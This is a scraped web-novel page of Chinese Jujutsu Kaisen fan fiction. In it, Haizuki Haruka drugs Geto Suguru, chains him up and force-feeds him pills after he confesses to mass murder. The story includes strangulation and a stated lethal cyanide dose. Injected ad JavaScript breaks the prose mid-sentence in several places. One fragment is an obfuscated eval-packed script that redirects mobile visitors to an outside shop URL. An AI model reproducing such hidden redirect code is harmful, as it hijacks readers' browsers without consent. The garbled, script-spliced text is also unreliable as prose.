此时已入深秋,天气愈发寒凉。刚从外面进来的海月遥,身上还带着风的寒意,发丝间也透着湿滑的潮气。 “怎么了?”家入硝子漫不经心地问道,抚上她冰凉的手背,将她的手捂在温热的掌心间。 被她这么一拉,海月遥不得不弯下腰,双手环过家入硝子的脖颈侧,像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是隔着椅背拥抱着她,下巴搁在她带着橘子味清香的褐发间。 “硝子换洗发水了?” “是的哟。” “喜欢。” 家入硝子弯弯眼。 海月遥安心地靠着,垂下眼睫,不冷不热地问道:“硝子,最近和杰之间发生什么事了吗?” “你觉得会是什么事呢?”家入硝子没有轻松地搪塞过去,而是反问道。“那天你不是在偷听吗?” “硝子很奇怪。”海月遥语气平静,感受到家入硝子的温度正从手背透来,“我要是知道答案,就不会问你了。” “说的也是。”家入硝子低笑道,“我只是和夏油简单聊了几句。” “什么事?” “嗯……是秘密。” “秘密?” 从背后抱着她的少女反复咀嚼着这两个字,仿佛要将它们拆开,然后吞入腹中。她收紧手臂,手从家入硝子的手心滑出,抚上硝子的脸颊,迫使她转过头来看向自己。 “连我也不能告诉吗?” 在略显昏暗的医务室里,那双眼瞳异常明亮,高密度的蓝色如同无机质的冰冷仪器,精准捕捉家入硝子的每一个细微反应。 但家入硝子轻松地忽略这份冰冷,笑着反问:“生气了?” “硝子有自己的秘密,这很正常。” “正常不代表就是对的,你什么时候在意过这些呢,遥?” 海月遥面无表情地与她对视,直到最后才不紧不慢地吐出四个字: “我很生气。” 她原本轻抚在家入硝子脸侧的手,此刻沿着那优美的下颌线条缓缓滑落,如同游走在琴弦上的指尖,最终停在那修长的脖颈上。指尖轻点在脖颈的血管旁,仿佛能感受到皮肉下蓬勃跳动的生命力。 海月遥弯下腰,侧过头,与家入硝子对视。冷淡的蓝眸与宽和的棕瞳交织。 两人的距离近到她们眼下那相似又不同的小痣几乎都要重合,却又在即将触碰时,被海月遥刻意拉开。 “硝子明明才说过喜欢我,却和杰走那么近。”海月遥目不转睛地盯着她,“频繁背着我和杰聊天,给他送礼物,现在还有必须瞒着我的秘密……” “这样是不行的,硝子。” 她的语气与其说是商量,更不如说是一种近乎命令的陈述。 但家入硝子却完全不受影响似的,又凑近几分,笑着说道:“可我和夏油是朋友啊,这样相处,不是很正常的吗?” “正常不代表就是对的。” 海月遥活学活用。 “不对吗?”家入硝子反问,“但是遥和夏油不也是这样吗?” 海月遥眨眨眼,开始回忆自己和夏油杰之前的相处方式。 家入硝子继续说道:“遥也会和夏油两个人单独出门,给他送东西,有时还会两个人自顾自地说着只有你们两个知道的事情吧?” 的确如此。海月遥心想。 “抱歉。”她诚恳地道歉,忽略掉心底隐隐约约的异样感,“我不会再多问了。” “不。” 家入硝子要的根本不是两人各退一步。 她向后伸手,纤长的手指勾住海月遥脖子上的颈圈缎面,原本服帖的颈圈因她的动作而显得更加拥挤。那葱白的指节压在海月遥的喉核,让吞咽都变得困难,轻微的窒息感攥取走部分注意力。 家入硝子趁机将海月遥往自己的方向一拉,两人的唇瓣轻轻擦过,一触即离。 “我们都不对。”家入硝子笑道,“夏油是朋友,可我们是彼此唯一的恋人。” “所以,为了不让彼此难受,我们都得注意把握好距离,不是吗?” 海月遥歪头问:“这是约定吗?” 就像是拉钩那样,家入硝子用尾指勾着她的颈圈。 “嗯。” “我明白了。” 黑发少女冷淡地应承。 41.夏油be线(一) 2007年9月20日。 海月遥遇见了夏油杰。 她这次回来是想在武器库里拿点库存。而她的武器库正好修在夏油杰家的对面,因此她很轻易地就看到独自走来的他。 他身着白衬衫,搭配着那条她曾多次吐槽的高腰灯笼裤,表情平静地走在路上。 奇怪。 这是海月遥脑海中的第一个念头。 但她无法确定这种奇怪的感觉来自何处。自从明确了自己的心意后,她便无法克制地更加关注夏油杰。此刻,他平静得近乎压抑的眉眼,略显松散的丸子头,甚至是随意卷起的袖口,都让她感到一种前所未有的异样。 杰不是前两天才被派去执行任务了吗?这么快就完成了?海月遥心想。但他为什么不先回去汇报,而是直接回家呢? 难道是家里有什么急事? 她胡思乱想着,直到夏油杰准备转身回家时,才叫住了他: “杰。” 被叫到名字的人身形一顿,才转过头,神情莫名地打量着她。深紫色的眼瞳像是一把刮刀,要把她全然剖析干净。 这种让她不舒服的眼神只持续一瞬,夏油杰便又恢复了往日的笑容,轻松地摆手打招呼:“哟,小遥。” 海月遥忽略了他不自然的停顿和此刻略显虚假的笑容,而是径直走到他身边,探头向夏油宅内望去:“杰不是去出任务了吗?怎么这么快就回来了?” “任务已经完成了。”他笑着回答,微微侧过头,特意留着的刘海顺着脸颊滑落。他居高临下地斜睨着海月遥,狭长的眼眸中闪烁着晦涩不明的光,“小遥怎么在这里?” “拿东西。杰呢?” “稍微还有点事情需要处理。”他又慢又黏地念着最后几个字,“不过很快就能完成了,小遥先去忙吧。” 海月遥面无表情地点头,转身回去,却在即将踏入门槛的那一刻停下了脚步。 再次回头。 她对上一双阴冷的紫瞳。 前段时间,夏油杰不知为何总是食欲不振,因此消瘦许多,使得他本就立体的骨相更加凸显。 此刻的他面色苍白,下颚瘦削,眉宇间更是透出一股难以言喻的阴鸷。那深紫的漩涡中,似乎有青蓝色的磷火在瞳心跃动,想要燃尽一切。 他不再像往日那样温和地微笑。 奇怪。 “这次任务很难吗?”海月遥语气冷淡地问道,全然不管夏油杰的异样。 “啊。”夏油杰如梦初醒般,轻声附和,“很难,很难……” “但杰回来得却很早。”海月遥敏锐地指出他话语中的漏洞。 他轻笑一声:“毕竟我勉强也算是特级。” “告诉我这次任务发生的事情。”她冷不丁地开口,简短地命令道。 “现在?” “现在。” 不等夏油杰拒绝,海月遥又几步走过去,正要伸手抓住他的手腕,却被他躲开。她垂下眼睫,看着自己空落落的手心,抬起头,一眨不眨地盯着夏油杰的眼睛,再次强调: “现在,以及,全部。” “真是强势。”他忍不住笑道,少见地大胆起来,一手抚上海月遥的脸颊,带有薄茧的指腹眷恋地摩挲着她的脸颊,最终才恋恋不舍地移开手,细心地将她的碎发拨到耳后。 他的动作分明温柔极了,眼底却不含任何感情,仿佛只是在进行一项例行的任务。 “等我先把事情处理完,好吗?” “……” “我答应你,会很快的。” “约定吗?” “是的。” 杰的状态不对劲,但等他一会儿的时间并不是没有。既然他有急事,那答应他也无妨。况且,他身上戴着她送的御守,御守上的定位器能让她随时知道他的位置,他跑不掉的。 海月遥心想。 但她为什么要听他的呢? 既然刚刚能慢悠悠地走过来,就说明不是什么急事。既然不是急事,她又凭什么要等他这段时间? 在海月遥的逻辑中,非急事的重要程度远不及夏油杰的异常。事有轻重缓急,自然要先解决更重要的问题。 她攥紧夏油杰的手腕,冷声拒绝:“0。” 夏油杰露出困扰的表情。 “我现在就要知道。” “……拿你没办法。”他叹了口气,露出一丝苦笑,却没有拒绝,“反正早晚你都会知道。” 他像是想通了什么,神情变得轻松起来,跟着海月遥走进了她家的房子。 在海月遥关上门的那一刻,夏油杰弯下腰,在她耳边轻声说道: “——我杀人了。” 海月遥不紧不慢地侧过眼,面上毫无波澜,静静地与他对视着。 夏油杰一只手撑在她身旁,手肘抵在门板上,将她困在这个狭小的空间。他背对着光,大半身子隐没在阴影里,只有那双深紫色的眼睛依旧明亮。 他挡住大部分光线,似乎也要将海月遥吞噬在这阴暗之中。然而,仍有倔强的光线从缝隙间溜进来,洒在她异常平静的眉眼上。 紫瞳隐匿于黑暗,蓝眸闪耀在光下。 察觉到她的注视,夏油杰眯起双眼,微笑着,眼睛眯成一条深黑的细缝。 “不,说是猴子才更合适——” “理由。”海月遥突然打断了他的话,语气中听不出任何喜怒。 夏油杰微微一愣,随即又恢复成平静的笑容:“小遥似乎不吃惊?” 海月遥抬起手,指尖指向夏油杰鞋面上几乎看不见的血迹。在深色布料上,这点血迹接近于隐形,却被她敏锐地发现。 “看来你早就——” “告诉我理由。”她再次打断他。 “我要创造一个专属于咒术师的世界。”夏油杰笑着,一手轻轻捧起海月遥的脸庞,“一个咒术师的乐园。” 海月遥静静地等待他下文。 夏油杰低下头,阴冷的黑发滑落,末端轻轻搭在海月遥苍白的脸颊上,宛如似落非落的黑泪。 “遥,你不觉得这不公平吗?” “明明是那些丑恶的猴子引发咒灵,最终倒下的却是咒术师。” “这种牺牲毫无意义,前路也看不到尽头……” “我们还要继续这样下去吗?” 他的语气里带着一丝循循善诱。 海月遥脸上依旧平静无波,语气淡然:“所以,你打算杀掉夏油理绘和夏油智也吗?” “难道因为是父母就要特殊对待吗?” “……我明白了。” 沉默片刻后,海月遥牵起夏油杰的手,缓缓放在自己的脖颈上。宽大的手掌几乎要将纤细的脖颈完全包裹,温热的掌心能感受到手下脉搏的跳动。 “杰,我也是非术师。” 她的话如同给整个讨论按下了静音键,一时无人言语,唯有滞黏的寒意随着沉寂蔓延。 夏油杰注视着她,眸色加深。 “杀了我。”她突然开口,继续挑衅道,“这不是你的愿望吗?” “……为什么?” “我不想死。”海月遥自顾自地说道,“所以,在你动手的那一刻,我也会动手。” “看在我们认识了3975天的份上,这是给你的特别优待,杰。” 海月遥仰起头,露出一个危险而锐利的笑容,细长如柳叶的眉微微下压,透出一丝更深的恶意。 “你知道,我能摧毁咒术师的大脑构造,但这需要一定的时间。所以如果你输给我了,我会把你转变成‘猴子’。” “现在是你杀死我的最好机会。” 海月遥笑意加深。 夏油杰毫无表情。 “为什么不说话?” 她歪着头笑道,原本被夏油杰别在耳后的发丝顺势滑落,细碎的黑发间,那双薄蓝色的猫眼愈发摄人心魄。她引导着他继续收紧手,掐住她的脖子。 “和我坦白的时候,你难道就没有料想到这样的场景吗?” 呼吸变得更加困难,连她的声音都带上了细微的喘息。 “……我不想杀你。”夏油杰挣开她的手,“你的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 咒力不会外泄,也不会形成咒灵。” “那你的目标就是创造没有咒灵的世界。”海月遥冷冷地说道,声音还带着几分沙哑。 “也许是这样,但差别不大,像你这样的类型并不多。”他敷衍地回应道。 海月遥默默注视着他,一言不发。 “怎么了?”夏油杰再次露出虚假的笑容,“如果你想继续,我也奉陪。” 海月遥伸出手,就在他暗自警惕的时候,放在了他胸膛上,顺着肌肉的弧度下滑,直到腰部时,又转而向他的后背。 薄薄的衬衫根本挡不住温度的传递。她微凉的手心和他有些发热的身体贴合在一起。 夏油杰:? 他说的继续,是继续打,她的继续是什么? 就在这人的手要伸向他的裤子时,他皮笑肉不笑地攥住她的手腕。 “你到底在做什么?”他问道。 “御守给我。”她理直气壮地回应。 夏油杰心领神会,从衣服内袋中取出一个精致的御守,递给海月遥。 这个御守是海月遥好几年前送给他的,他一直贴身戴着,这么多年从未离身。 “杰,你知道它有定位功能,为什么不扔掉?”海月遥歪头看向他,“既然你不想杀我,就该把它丢掉。毕竟你要叛逃,不是吗?” 夏油杰抿直唇线,又用一种轻佻的语气笑着说道:“我忘了。” “忘了?”海月遥紧盯着他。 夏油杰笑容依旧:“是啊,真的忘了。” “那你以后得多注意。”海月遥语气平淡,攥紧了手中金纹紫底的御守,“再过几天,高专就会发现你的异常。我记得你是去了一个山村,你把那里的人都杀光了?” “嗯。” “你处理了自己的咒力残秽吗?” “没有。” “这么大的事,你得更加小心。”海月遥不冷不热地叮嘱道,从他身旁走过,往里走去,“粗略估算,也得有一百多人。咒术界肯定会通缉你,抓到了大概就是死刑。” 说着,她从花纹精美的御守袋中取出一粒椭圆形的玉石。 这时,夏油杰觉得海月遥冷静得有些过分,甚至有些冷酷。 “遥就没有别的想说的吗?”他问道。 海月遥转过头,看向站在门口、神情复杂的夏油杰:“你进来坐会儿,再陪我聊聊吧。今天你肯定没法杀理绘阿姨他们了,毕竟有我在这里。既然这样,不如再和我说说话呢。” 夏油杰不为所动:“我觉得没什么好说的。” “以后很难有这样的机会了。” “但真的没必要。”他再次拒绝。 此时,海月遥已走到客厅门前,两人间短短的走廊仿佛被无限拉长,让对面的人都不愿迈出一步。她转过身,半边身子隐入阴影,半边沐浴在光中,只留下那双清澈的蓝瞳,一眨不眨地看着夏油杰。 “杰,我喜欢你。” “真的。” “——最喜欢你了。” 她让夏油杰所有劝阻的话语都咽了回去。 “这也算是道别了,再陪我一会儿吧。” 她往日冷淡的声音如同被连绵梅雨浸透。 “……好。”夏油杰妥协地点头。 可当他踏出第一步时,海月遥随手将手心里的东西扔到木质地板上。 那是数块碎玉,沾染着未干的鲜血,尖锐的碎片闪烁着诡异的光芒。 夏油杰还记得,几年前她为制作这东西吃了多少苦。而现在,她却轻而易举地将其捏碎,像扔垃圾一样扔在地上。 “你还在等什么?” 海月遥冰冷的声音将他的注意力从地板上拉回,聚焦到她的脸上。 她面色苍白,高密度的蓝凝聚在玻璃珠般的眼球里,透出一种非人的妖异。 尽管脖子上有着醒目的青紫掐痕,手心还在滴血,她却毫不在意,甚至不去治疗,只是用那幽深的蓝瞳紧紧盯着夏油杰。 “过来。” “现在。” 海月遥冷声命令道。 42.夏油be线(二) 现在,两人正坐在不大的客厅里,夏油杰面前摆着一杯热气腾腾的茶。 他没有去动这杯茶,只是浅笑着看着对面的海月遥。 刚刚在他的劝阻下,她倒是清洗了伤口,一点点把嵌入肉中的玉石碎片挑出,自行治愈伤口。 此刻,她坐在他对面,面无表情,悠闲地晃荡着小腿,与先前那压迫感截然不同。仿佛那一瞬间的冷酷只是他的错觉。 她并未提及之后的打算,也未深究他想法转变的原因。在耐心听完他这次任务的过程后,她开始与他闲聊,分享着最近的新奇想法,那些古怪而有趣的冷知识…… 一切如常。 夏油杰也不由自主地放松下来,一手支着下巴,静静地听着她讲述,视线从她那忽闪的蓝眼睛滑下,细致地描绘着她的轮廓。 正如海月遥所说,他们之后可能再也没有这样的机会了。 因此,他也想满足她最后的愿望,努力让自己表现得如同往常一样,仿佛一切都没有发生过。当然,这里面也有他自己的私心。 “杰,你真的在听吗?”她突然停下来,“还是说,你又像以前那样走神。” “真过分啊,我以前可都是认真在听的。”夏油杰笑眯眯地说道。 言下之意,就是刚才的确没听。 海月遥一言不发地盯着他,随后站起身,将椅子搬到夏油杰身旁坐下。在他疑惑的眼神中,她牵起他的手,指腹如羽毛般轻柔地滑过他的手心,穿过他的指缝,勾勾缠缠地攥紧,就像槲寄生紧紧依附于树木一般,密不可分。 夏油杰感到一股微妙的酥麻感从肌肤深处蔓延开来,直达心底。 “至少在这段时间里,你不能完全属于我吗?”她倾身靠近,侧脸轻靠在他的手背上,轻声喊着他的名字,“杰?” 夏油杰斜睨着她,那双紫色的眼瞳顺着眼睑的方向滑来,眼底意味不明。 “当然可以。”在海月遥说出什么前,他轻笑着,配合地举起另一只手,做出投降的姿势,“我听,我真的会认真听,你继续吧。” 海月遥矜持地点头,得到想要的回复,她微微弯起眼眸,似乎凝聚起一汪潋滟的笑意。 她继续刚才的话题,但始终没有松开他的手,而夏油杰也握得更紧。 “……杰,你知道吗,人在笑的时候是不能翘起舌头的。”她突然跳跃话题。看着夏油杰勾起唇角时,海月遥才轻松地补充道:“骗你的。” 说完,她忍不住低低地笑了一声,又大又圆的猫眼弯成狡黠的弧度,闪着光,她看向夏油杰:“我很高兴。” “嗯?”夏油杰有些不解。 “杰有在听我说话,我很高兴。” “这种程度就满足了吗?” “嗯。”海月遥肯定地点头。 夏油杰感觉之前两人之间的所有不愉快和隔阂都仿佛被这份柔情所融化。尽管他深知沉浸其中显然不对,但他还是贪心地希望时间能过得再慢些,甚至海月遥此刻的宽容态度,都让他心中产生一些不切实际的妄想。 “小遥,你……”他的话还没说完,海月遥却突然低头看向他一直没动的茶杯。那杯原本热气腾腾的茶水早已冷却,原本明亮的琥珀色也变得暗沉,带上几分褐色。 “杰不喝吗?”她抬起头问道。 夏油杰笑道:“现在还不渴。” “撒谎。” 海月遥脸色全然冷下来。 被她如此直白地戳穿,夏油杰却神情自若,只是偏过头看向身旁的海月遥。 “抱歉,小遥。”他低声道歉,除此之外却没有任何表示。 “杰不相信我。” “……” 海月遥拿起那杯已经冷掉的茶水,毫不犹豫地一口饮尽,只留下一口在口中,她猛地站起身,捧起夏油杰的脸吻上去。 一开始只是渡过茶水,后面却变成了撕咬。她细细碾咬着他柔软的唇瓣,吞下唇齿间细微而满足的呻吟。对面也从最初的抵触,逐渐开始配合,甚至最后尝试争夺主导权。 甜蜜、醇厚的汁水在口腔中迸发开来。 凉掉的茶会是甜的吗? 海月遥心不在焉地想。 她一腿跪在夏油杰的两腿间,膝盖向前抵住,双手虚环着他的脖颈。当她俯下身时,未加束起的长发如流云般倾泻而下,兀自给他拉开一幕只有二人的夜色。 “我喝下的更多,如果放了东西,也只会是我先发作。”海月遥稍稍拉开距离,两人额头相抵,她平静地陈述道,“所以,杰可以相信我。” “如果还不信的话……”海月遥从空间中拿出一瓶未开封的乌龙茶,递给夏油杰,“这瓶没打开过,你可以放心喝。” 她牵起他的手,按在她的胸口:“杰刚才怀疑我的时候,这里很难受。” 夏油杰能感受到手下的柔软,以及她沉稳的心跳。他的心跳也与她的心跳也开始共鸣。 明明是温情脉脉的场景,明明两人才刚刚深吻,可他们的心跳都平稳极了,两双深浅不一的眸子相对,相互凝视着,冷静地观察着对方的反应。 “抱歉,刚才是我不好。”夏油杰先开了口,拧开瓶盖,当面喝下水,“是我的错。” “但遥,你很奇怪。”他笑着说道,声音带着一丝苦涩,“这时候,你应该远离我才对。” “可我不想这样。”海月遥眷恋地挽住他的脖子,“之前还想放你走的,现在却舍不得了。” “留在我身边吧,杰。” 她靠在他肩上,轻声在他耳边说道。 尽管说着这样的话,但在夏油杰看不见的角落,她脸上却是一片冷漠。 四周静悄悄的,只有两人轻微的呼吸声交织。海月遥耐心地等待着夏油杰的回应,玉白的指尖插入他的黑发,细心地梳理着他略显杂乱的丸子头。 “抱歉,我已经无法回头了。” “这只是借口。”海月遥冷冷地反驳,“你就是不愿意。” “是不能。”夏油杰纠正道。 “你不会后悔吗?” “嗯。” “杰。”海月遥顺势坐在他腿上,捧起他的脸,仔细打量。这么多年过去,他眉宇间的神气已与往昔大相径庭。 “你十三岁时,也是这样回答我的,说要保护所有的非术师。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她语气凉薄,“才过了几年,你就后悔了。所以,如果你现在后悔走上这条路,也来得及。” “但遥,我再也无法真心去帮助那些……”夏油杰欲言又止,转而道,“这样的世界,我做不到发自内心地笑。” “所以你想毁灭一切看不惯的东西?”海月遥反问,嗤笑一声,“真是孩子气。” “或许你说得对。”夏油杰温和地看着海月遥,“所以我不能留下来。” 她近乎冷酷地说:“但你要是走了,下次见面,我可能会杀了你。” 那你要跟我一起走吗? 夏油杰说不出这样任性的话,只是笑道:“那我会尽量避开你。” 海月遥反问:“然后,未来再也不见?” “……” 那你要跟我一起走吗? 不可控制地,夏油杰再次想到这句话。 “看来也只能这样了。”他最终说道。 “今天可以留下吗?我想多陪一会儿。”海月遥的脸上波澜不惊,似乎并不在意他的拒绝,“就一晚。” “抱歉。” “理由?” “多留一天,暴露的风险就多一分。”夏油杰说道,微微垂眼,注视着海月遥,眼底温柔缱绻,还带着一丝无可奈何,“我不能拖累小遥。” 两人默默对视,一言不发。 “那你抱我。” 良久,海月遥缓缓抬起眼,神色清冷。 “抱我,杰。” 夏油杰神情一怔,迟疑地打量着她的表情,却无法从那依旧的平静的脸中看出任何端倪,最终只能试探性地伸出手,环过她的腰身,将她整个人圈在怀中。 海月遥原本紧绷的身体也渐渐放松下来,她也不说话,她回拥着夏油杰,头深深埋在他的颈窝里。 两人紧拥在一起,仿佛在彼此身上索取着温暖,又或许只是想确认对方的存在。 时间仿佛凝滞,一分钟,或许更久,两人默默相拥,未发一言。 “……我得走了。”夏油杰最先从这令人沉醉的温暖中抽身。他觉得眼前人是深不见底的漩涡,正不断拖拽着他沉沦下去。“已经很晚了。” “时间就到了吗?”海月遥轻声问。 “嗯。” 她反而抱得更紧,几乎让人窒息。 “小遥,小遥,遥……”夏油杰无奈地一声声喊着她的名字。 “确实,时间到了。”海月遥喃喃自语。 她话音刚落,一股难以忽视的眩晕感猛地袭来。夏油杰的视线变得模糊,他大吃一惊,试图推开海月遥,想要动用术式,却被她紧紧抱在怀中。源源不断的波纹不断灌输进他的身体,升腾起的咒力尽数被抹除。 不行,咒力…… 在失去意识的前一秒,他瞥见了海月遥冰冷的眼神。 “已经告诉杰了,我是骗你的。”海月遥轻声说道。她轻柔地抚平夏油杰皱起的细眉,面无表情地注视着他昏迷过去。 她两杯都下了药。 而波纹能控制液体。 明明提醒过他要小心,杰还是太大意了。 海月遥心想。 43.夏油be线(三) 夏油杰再次醒来时,视线还很模糊,入目的只有大片大片的白色,以及一抹妖异的腥红。等意识缓缓归拢,周遭的一切逐渐清晰。他发现自己身处一间空荡荡的房间。 四面皆是雪白,墙壁、天花板乃至地面,仿佛整个世界都被冬日的初雪覆盖,唯余一片死寂的苍白。而他恍惚间看到的那抹腥红,是房间顶角处的监视器,正尽职尽责地监视着这里的一切。 药效尚未完全消退,身体软绵绵的,提不起一丝力气。脖子被束缚着,双手双脚也被冰冷的镣铐紧紧锁住。源源不断的波纹通过这些金属装置传导进他的体内,让他无法调动术式。 这里应该是遥的某个秘密实验室。夏油杰心中暗自判断。 他原本以为自己会在一个布满禁制术式的房间里醒来,就像他们高专时期曾经闯入的那个一样。但就目前的情况来看,海月遥的这个实验室在功能和压抑程度上,也毫不逊色。 尽管这个房间并不小,但那片铺天盖地的苍白却让人感到莫名的压抑。无数细碎的思绪和情感在这片白色中被无限放大,交织、碰撞,最终化作一团杂乱的色彩,肆意地泼洒在这片空白的画布上。 “哧。” 就在这时,一个极轻的声音在房间中悄然响起。夏油杰循声望去,只见海月遥正缓缓步入房间。那扇几乎与白墙融为一体的门在她身后悄然关闭,若非亲眼所见,他几乎无法察觉它的存在。 他默默记下了门的位置。 “醒了?” 海月遥仍穿着高专的制服,深黑的制服在这片白色中显得格外醒目。她对自己的过分举动似乎毫无愧疚或忏悔之意,依旧是往日那副面无表情的样子,慢吞吞地朝他走来。 她蹲下身,从盒子中取出一粒药片,点在夏油杰的唇瓣,柔软的唇随即陷下一个小窝。她冷冷地命令道:“吞掉。” 本来还想说什么的夏油杰死死闭着嘴,不给她塞进去的任何机会。 “不吃吗?”海月遥歪头反问,突然嗤笑一声,伸出舌头,药片按在粉红的舌面上,“还是说,你需要我像之前一样嘴对嘴喂你?” 夏油杰的唇线紧紧抿成一条直线,没有丝毫松动的迹象。 海月遥轻松地吞下那粒药片,似乎并不在意他的反应:“骗你的,其实是维生素。” 她恶劣地笑着,摊开双手继续说道:“嘴对嘴喂的话,只有对方想张嘴才能喂进去。如果对方不愿意的话,再怎么硬塞也是塞不进去的。” 她尽职尽责地解释着,却让夏油杰不禁又想起了他昏迷前海月遥的那个渡茶吻。 “但杰,你知道吗?” “给狗喂药的话,只要掰开它的嘴,压住舌面,把药放在舌根,它就会自己吞下去了。” “而这一点,人和狗一样。” “但我不想这么粗暴地对杰,所以……” 说到这里,海月遥的声音陡然冷下来,语调像是淬了冰: “——给我吞进去,夏油杰。” 她是认真的。夏油杰心下判断,配合地张开嘴。在他吞咽的时候,她的指尖按在他的喉核上,感受着他切实地将药片咽了下去。 这种被人掌控住脆弱部位的感觉极不舒服,连吞咽的动作都变得异常艰难。 “这是什么药?”吞下后,他才缓缓地问道。 但海月遥并没有回答他的问题,只是默默地掏出医用橡胶手套戴上,平静地命令道:“张嘴。” 夏油杰勉强扯开嘴角,笑道:“就这么不相信我?” 他露出颇为受伤的委屈表情,却还是乖乖地张开嘴巴,让她清楚地看见自己的口腔内部。他甚至特意抬起舌面,让她能看清舌下也没有藏下药片。 “我真的吞下去了。” 夏油杰只说完这句话就不再多提,静静地看着毫无表情的海月遥,微抿起唇,像是克制着什么,最终只是低下头,避开她投来的视线。 海月遥看着他,那双眼眸凝聚着高密度的蓝,像是放大镜或者摄像机,捕捉着他每一个细微的动作。 “张嘴。”她再次命令道,声音冷淡。 这次她没有等夏油杰反应,直接伸出手指探入他的口中。她的手法毫无温柔可言,只是冷静而仔细地检查着他的口腔。舌下、口腔侧壁、舌根……毫不遗漏地检查着每一个角落。 令人作呕的橡胶味在他的口鼻间弥漫开来,一种眩晕般的窒息感紧紧攥住了他的大脑。夏油杰感到一阵强烈的干呕冲动,但由于她的手指正深入他的口腔,他只能强忍着这种不适。 难受。 几乎要窒息一般地难受。 终于,海月遥在接近嗓子眼的位置发现了那颗被藏起来的药片。死白色的药片上满是粘稠的晶莹液体,她冷冷地盯着弯腰剧烈咳嗽的夏油杰,反问道:“吞下去了?” “咳,咳咳……” 夏油杰空腹干呕,却什么也吐不出来,只有一阵阵酸水涌上喉头,苦涩感充斥着整个口腔。然而,他并没有因此屈服,反而笑了起来,郁紫色的眼瞳闪烁着阴冷的光芒,仿佛要将一切都燃烧殆尽。 “明明是你先对我有所隐瞒。”他的话中带着明显的挑衅意味,“怎么,把我像狗一样锁在这里,还不允许我有一点怨言?” 他此刻显得异常狼狈,原本整齐的黑发已经凌乱不堪,一缕缕阴冷的发丝垂落在脸颊两侧,更显得他脸色苍白,骨相立体而瘦削。 “你的目的是什么?”他语气锐利地反问道,“只是把我关起来?” 海月遥不回答,温柔地拭去他唇边残留的津液,仿佛在安抚暴躁的孩子。 “你以为是在养狗吗?”夏油杰怒极反笑,“需要我给你‘汪’一声来满足你的变态嗜好?” 海月遥并没有理会他的讽刺,只是淡淡地说道:“因为,杰完全不准备回头。如果这次放你走了,你就会头破血流地把这条路走到黑。” “我明明之前都提醒你小心了,却还是喝下我给你的乌龙茶。”她继续说道。 毕竟她现在已经有足够的时间,慢慢来也不要紧。 “如果杰你真的有听我的话,就该知道,不管是咒术师还是非术师,仅仅150毫克的氰.化.钠,就能让人悄无声息地死去。既然选择了叛逃,就要随时做好被杀死的准备。然而,你还是喝了那杯茶。” 那只是因为,递给我那瓶茶的人是你。 夏油杰最终还是将这句话咽了回去。 “杰从小时候到现在,其实都没怎么变过。”她目光失焦,仿佛凝视着虚空中的某一点,“完完全全是一个笨蛋。” “看得到,看得透,却看不清自己。” “愚蠢,傲慢,固执,弱小,脆弱。” 她的措辞异常尖锐,几乎是在毫不留情地批判着夏油杰,很难想象这是她对自己喜欢的人的评价。 “所以杰你说出你要杀光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007107|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非术师的时候,我完全不惊讶。” “你果然还是被压垮了。” 她的视线游离许久,最终定格在夏油杰的脸上。 他不悦地眯起眼睛,墨色般的瞳心紧紧锁定着她,眼底闪烁着令人胆战心惊的寒光。 啊…… 这种令人不悦的审视姿态…… 难道她一直以来都以高高在上的姿态俯视着我吗? 就像观察试验品一样观察他,最后又像对狗一样把他拴在这里…… 喜欢? 这就是她所说的喜欢? 夏油杰冷笑一声,反问道:“所以,你满意了吗?你的观察实验终于有了结果?你如愿以偿了?恭喜?” 海月遥捏碎了手中的药片。 “我没有。” “哈。” “我没有。” “是吗?真可惜。” “我说了,我、没、有。”海月遥强硬地掰过他的头,强迫他与自己对视,一字一顿地强调,每个字都像是从心底挤出,“我从来没有这么想过。” 她明明是希望夏油杰能继续坚持下去。 即使这条路的尽头是虚无,她也一直会陪着他。如果他累了,把一切交给她就行。不想思考,不想行动,都没关系。如果他需要意义,那她就给他创造意义。 现在杰支撑不住了,所以她决定接手。 海月遥紧锁眉心。 夏油杰挤出笑容。 两人僵持不下。 “……既然你不自己吞下去,我会帮你的。” 海月遥站起身,背对着光。犹如鸦羽般的乌发倾洒而下,如同未成形的黑云,铺天盖地地洒下阴影,将一切生气淹没,映衬得她的脸颊毫无血色。 逆着光,她眼底幽深的蓝色凝聚起来,宛若实质,几乎要滴成淅淅沥沥的雨。 透明的,苍白的,同样也是冰冷的。 她弯下腰,直接卸掉了夏油杰的下巴,把新的药片直接塞到舌根,将下巴复位。她单手钳着他的嘴,强迫他抬起头,直到那嶙峋的喉结上下耸动,表明药片已被完全吞下。 她一句话也不愿多说,仔细检查了一遍,确认药已吞下。 她冷眼看着又在干呕的夏油杰。他先是咳嗽,而后是剧烈地喘息。可他什么也吐不出来,透明的津液从嘴角滑落,极为狼狈。 夏油杰抬起眼,死死盯着海月遥。 药效发挥得很快,他完全提不起什么力气,连肩膀都无力地垂下,脖子处的枷锁也因为他弯下腰的动作,勒进薄薄的皮肉,留下醒目的红痕。 “哈、哈哈……我记得没有卸下巴这一步……还是说,遥,你在生气?” 他反笑,却又咳了起来。 眼皮愈发沉重。 难受。 如同坠入深海,寒冷而窒息。 他总算明白为什么第一次假吃药被发现,刚才应该装得更难受些。 在无尽的痛苦折磨中,夏油杰开始反思。 他一向极有忍耐力。 可见他这样子,海月遥却迅速蹲下身,扶起他的身子,让他靠在墙面,不让铁圈过分地压迫他的喉咙。 “难受吗?”她皱着眉问道。 明明是她自己下的药,这时却假惺惺地关心起来? 夏油杰觉得可笑极了。 不论是海月遥,还是他自己。 真的,可笑极了。 44.夏油be线(四) 